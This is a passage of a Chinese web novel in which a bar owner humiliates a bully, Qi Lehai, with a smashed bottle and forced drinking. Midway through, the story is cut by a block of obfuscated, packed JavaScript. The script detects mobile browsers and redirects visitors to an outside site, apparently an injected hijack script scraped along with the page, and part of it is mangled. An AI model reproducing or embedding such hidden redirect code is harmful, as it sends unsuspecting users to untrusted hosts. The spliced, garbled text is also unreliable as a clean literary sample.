付渐秋叹了口气,弯腰将齐乐海刚才掉地上的那瓶酒捡起来,很是无奈道:“我也不想来啊,谁让赶巧了呢,刚好在这跟朋友喝酒,这不就赶上你们闹事了吗。” 听到这话,齐乐海像是被夺舍了似的,半点不见之前在沈白面前的嚣张跋扈,反倒是变得卑躬屈膝,那张圆圆的小胖脸上满是小心翼翼与讨好。 “对不住哥,我真不知道您在这,我要是知道您在这玩,肯定不会闹这么大动静,打扰到你……” 他话还没说完,又是一声酒瓶碎裂的声响。 不过这次被酒瓶爆头的人不是齐乐海的狐朋狗友,而是齐乐海本人。 挨了打的齐乐海却连一声痛呼都不敢发出,他顶着满头碎玻璃渣,酒水混合着血水,淅淅沥沥从脑袋上顺着脸颊蜿蜒而下,他甚至不敢伸手去擦。 旁边喝得醉醺醺的狐朋狗友听到这动静,酒醒了大半,看到齐乐海挨打,搞不清状况的他嘴里骂骂咧咧,跌跌撞撞朝着这边走过来。 “齐少你也敢惹,我看你是不想活了!” 这要是搁在平时,听到自己的狗腿子说这些话,齐乐海会觉得脸上挺有面儿,但现在……齐乐海只想跳起来堵住他这张臭狗嘴,然后在付渐秋面前跟他划清界限。 你大爷的,想死自己去死啊,不要拖老子下水啊?!他还没活够呢! “付哥对不住,真对不住,他喝多了!你就当他在放屁,千万别往心里去!”齐乐海顾不上自己脑门上的伤,顶着满脸血也不敢擦,‘扑通’一声直接给付渐秋跪下了。 地上都是刚才酒瓶碎裂后还没来得及清理的碎玻璃渣,齐乐海却愣是一声没吭,他给他家老爷子过年下跪都没有这么规矩的。 而被他如此卑微讨好的人,却只觉得他看着心烦。 付渐秋伸手将人拉起来,笑意盈盈道:“哎呀,大清都亡了多少年了,现在已经是新社会了,怎么还动不动就搞下跪这一套呢,快起来,别让人看了笑话。” “小齐啊,别紧张,不知者不怪,”付渐秋帮他掸了掸身上的碎玻璃渣,语气有些漫不经心,“我刚听你说,你好像很喜欢交朋友啊。” “既然今天咱们遇上了,碰巧我那边也有个朋友,他跟你一样,也喜欢跟人交朋友。” 齐乐海明明是站着的,但腰背佝偻,抖如筛糠,一张胖脸上满是惊惧,他甚至不敢看付渐秋的眼睛,只低着头颤抖着声音道:“付哥我错了,我真知道错了。” 付渐秋叹了口气,也不嫌他身上脏,伸出胳膊搭上了他肩膀,半揽半架,不容拒绝地带着齐乐海往楼上走。 走到一半,像是突然想起什么,付渐秋回过头,朝着已经开始帮同事打扫卫生的沈白笑了笑,道:“沈白是吧?” 沈白点了下头,承认的干脆。 见他居然这么爽快就承认了,站在旁边的康小言都快吓死了,生怕下一秒他又拎个酒瓶给沈白也爆了头。 康小言几乎就要蹿出去,好在站在他身边的朋友察觉到他的动作,及时拉了他一把。 “别急,应该不是冲着沈白去的。”朋友说。 事情的起因是齐乐海想教训沈白,结果闹出的动静太大,惊扰了同样在这边玩的付渐秋,结果自食恶果,教训不成反被教训。 这事儿看上去像是个巧合,康小言关心则乱没注意到,但朋友却注意到了,付渐秋刚才可是从楼上走下来的。 这里的一切当初都是他亲自设计的,装修也是他亲自在盯,楼上那几个房间的隔音效果有多好,别人不清楚,他这个当老板的难道还能不清楚? 别说齐乐海只是声音大了些,即便给齐乐海手里塞个麦,让他大吼大叫,楼上都不一定能听到下面的动静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691325|173361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以,答案其实已经很明显了。 果不其然,付渐秋并没有为难沈白的意思。 “别紧张,”他冲沈白笑了下,语气随意道:“我是想问一下,他刚点了哪些酒你还记得吗?” 沈白点了点头。 “那可太好了,”付渐秋笑容愈发灿烂,礼貌道:“麻烦你待会儿把他刚点的那些酒重新上一份,让人送到7901。” “刚才一时冲动破坏了你的气氛,但没关系,我给你补上。”付渐秋说着,转过脸,对齐乐海笑,“小齐,你不会怪我吧?” 齐乐海脑袋摇得和拨浪鼓似的,他连大气都不敢喘,哪儿敢说半个怪字,只一个劲儿赔笑道:“谢谢付哥,谢谢付哥。” 付渐秋脸上仍旧带着笑,他似乎很经常笑,所以给人一种很好说话的感觉,但要是有人信以为真,那大概率就只能自求多福了。 两人走后,在接下来很长一段时间,哪怕有乐队在台上演奏鼓点激昂的舞曲试图将气氛重新炒热,可比起平时,今天的客人们无论是交谈还是玩闹,声音都比平时要小上很多。 * 7901。 相同的酒水被陆续端进来,不同的是,这次摆放酒水的桌子更大,质感比楼下也更好,相对应的,能摆放的酒水,自然也比楼下更多。 “齐少不是爱交朋友,爱喝酒吗?今天咱们就喝个痛快。”付渐秋在桌子旁的酒架上挑挑拣拣,最终选了瓶度数最高的,递给了旁边的服务生。 服务生恭恭敬敬双手接过,拿起开瓶器开了酒,原本准备将酒瓶里的酒倒入醒酒器,却听坐在暗处一直没怎么说话的男人开口了。 “不用,相较于酒杯,齐先生更喜欢直接用瓶子喝,对吧?” 那人声音很是悦耳,如汩汩清泉从山间流过,音色清澈凛冽,带着些许疏离,但询问的语句,上扬的尾音,却又无形间拉近了与被问询人之间的距离。 好似他真的在询问齐乐海的意见似的。 但谁都知道,这并不是一个问句,对方想要听到的,有且只能有一个答案。 齐乐海咽了咽口水,露出了一个比哭还难看的笑容,僵着脸点了点头:“对,对,我、我喜欢直接喝,不、不用醒酒了。” 话音落下,酒瓶下一秒便被放在了齐乐海面前。 齐乐海下意识看了坐在对面的付渐秋,眼里流露出几分哀求的神色。 但很显眼,付渐秋并没有接收到他的求救信号,或者说……即便接收到了也不会有任何反应。 付渐秋非但没有阻止的意思,反倒是饶有兴趣开口道:“小齐,怎么不喝,那瓶可是我亲自给你选的,难道不合你的口味?” 为数不多的那点期望也随着付渐秋这句话破灭了,心如死灰的齐乐海只得硬着头皮拿起那瓶酒,咬了咬牙,嘴对瓶口,仰头喝了起来。 他喝的太着急,酒瓶里的酒精才下了大半,齐乐海便喝呛到了,咳得撕心裂肺,一张圆圆的胖脸被呛得通红,模样看上去好不凄惨。 “齐先生交朋友的方式很特别,我很喜欢。” “我不擅饮酒,但早就听闻齐先生酒量极好,今天这一桌子酒自然也是为了齐先生点的,所以……” “让齐先生把这些酒全喝了,不过分吧?”